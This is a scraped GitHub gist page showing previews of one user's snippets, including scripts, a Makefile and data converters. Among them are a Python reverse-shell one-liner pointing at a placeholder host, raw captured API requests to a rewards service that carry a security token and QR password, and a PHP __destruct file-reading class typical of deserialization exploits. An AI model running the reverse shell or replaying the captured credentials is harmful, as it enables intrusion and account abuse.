Skip to content

Instantly share code, notes, and snippets.

View RKursatV's full-sized avatar
🌋
I may be slow to respond.

R. Kürşat Vuruşan RKursatV

🌋
I may be slow to respond.
  • Ankara, Turkey
  • 09:39 (UTC +03:00)
  • X @RKursatV
View GitHub Profile
@RKursatV
RKursatV / getUrlAsGoogle.py
Last active October 9, 2020 20:54
Get any url without any trouble as Google
import requests
import json
import re
def getUrlAsGoogle(coolUrl):
while True:
try:
coolUrl = "https://docs.google.com/viewer?url=" + coolUrl
req = requests.get(coolUrl,
@RKursatV
RKursatV / onekoRace.sh
Last active June 14, 2024 04:35
A script generates 100 random oneko characters with random colors and random magnitude of speed
#!/bin/bash
type oneko >/dev/null 2>&1 || { echo >&2 "I require oneko but it's not installed. Aborting."; exit 1; }
array[0]="sakura"
array[1]="tomoyo"
array[2]="neko"
array[3]="dog"
array[4]="tora"
allcolorsS=$(awk -F ' ' '{print $4}' /etc/X11/rgb.txt | tr "\n" " ");
import xml.etree.ElementTree as ET
import xlrd
from code3to2 import convert2
tree = ET.parse('data.xml')
root = tree.getroot()
wld = []
wldGdp = []
@RKursatV
RKursatV / countryCodeConverter.py
Created July 17, 2020 17:53
converts three digit country code to two digit country code
def convert2(threeDigit):
"""converts three digit country code to two digit country code"""
codeMapping = {
'AFG':'AF',
'ALA':'AX',
'ALB':'AL',
'DZA':'DZ',
'ASM':'AS',
'AND':'AD',
'AGO':'AO',
POST /restearnmobil/senk_yeni HTTP/1.1
Content-Length: 263
Content-Type: application/x-www-form-urlencoded
Host: restearncloud.com
Connection: Keep-Alive
Accept-Encoding: gzip
req=%7B%22insert%22%3A%5B%5D%2C%22update%22%3A%5B%5D%2C%22delete%22%3A%5B%5D%2C%22extra%22%3A%7B%22id%22%3A%2212040%22%2C%22city%22%3A%22konya%22%2C%22temp_key%22%3A%22ZmdlZ1LK8VO2pFhO202006262158346161%22%2C%22security_token%22%3A%22caXNnBzGd64wMX9jg2L9%22%7D%7D
POST /restearnmobil/odul_qr_read HTTP/1.1
Content-Length: 255
Content-Type: application/x-www-form-urlencoded
Host: restearncloud.com
Connection: Keep-Alive
Accept-Encoding: gzip
req=%7B%22security_token%22%3A%22caXNnBzGd64wMX9jg2L9%22%2C%22qr_code%22%3A%22KG7QVfRp2020062622004922527%22%2C%22qr_sifre%22%3A%22said1234said%22%2C%22qr_pass%22%3A%22uPT3M1hY2020062622004922527%22%2C%22tip%22%3A%22odul%22%2C%22kul_id%22%3A%2212040%22%7D
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP_ADDRESS",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
<?php
class Dosya {
public $files = "";
function __destruct() {
$dosya = explode(".",strtolower($this->files));
if(end($dosya) === "txt"){
$ac = file($this->files);
if($ac[0] === trim("istekler")){
}else {
<?php
class Dosya {
public $files = "";
function __destruct() {
$dosya = explode(".",strtolower($this->files));
if(end($dosya) === "txt"){
$ac = file($this->files);
if($ac[0] === trim("istekler")){
}else {
@RKursatV
RKursatV / Makefile
Created May 1, 2020 11:48
Makefile 242-Hw3
LDFLAGS=-std=c++11
MAKER=make --no-print-directory
DIFFER=diff -y --color --minimal --suppress-common-lines
define check_class
@$(MAKER) clean;
@echo "compiling $(1)";
@if $(MAKER) $(1); then \
echo "$(1) compiled successfully.\nchecking outputs"; \
else\